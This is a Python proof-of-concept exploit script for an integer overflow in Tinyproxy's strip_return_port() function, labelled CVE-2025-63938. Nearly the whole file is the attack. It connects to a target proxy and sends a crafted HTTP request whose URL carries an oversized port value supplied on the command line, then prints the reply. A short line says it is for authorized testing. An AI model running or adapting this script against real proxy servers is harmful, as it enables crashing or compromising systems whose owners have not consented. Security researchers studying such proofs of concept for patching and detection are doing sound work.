The following code is for security research and authorized testing only.
python
import socket
import sys
def exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port):
"""
PoC for CVE-2025-63938: Tinyproxy strip_return_port() Integer Overflow
This PoC demonstrates sending a crafted HTTP request with an oversized port value
to trigger integer overflow in strip_return_port() function.
Args:
target_host: Target Tinyproxy server IP
target_port: Target Tinyproxy server port
malicious_port: Malicious port value that triggers overflow
"""
try:
# Construct HTTP request with malicious port value
# The port value should be crafted to cause integer overflow
# when processed by strip_return_port() function
request = f"GET http://example.com:{malicious_port}/ HTTP/1.1\r\n"
request += f"Host: example.com\r\n"
request += "Connection: close\r\n"
request += "\r\n"
# Create socket connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_host, target_port))
# Send malicious request
sock.send(request.encode())
# Receive response
response = sock.recv(4096)
print(f"[+] Request sent with port value: {malicious_port}")
print(f"[*] Response: {response[:200]}")
sock.close()
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python cve_2025_63938_poc.py <target_host> <target_port> <malicious_port>")
sys.exit(1)
target_host = sys.argv[1]
target_port = int(sys.argv[2])
malicious_port = sys.argv[3]
exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port)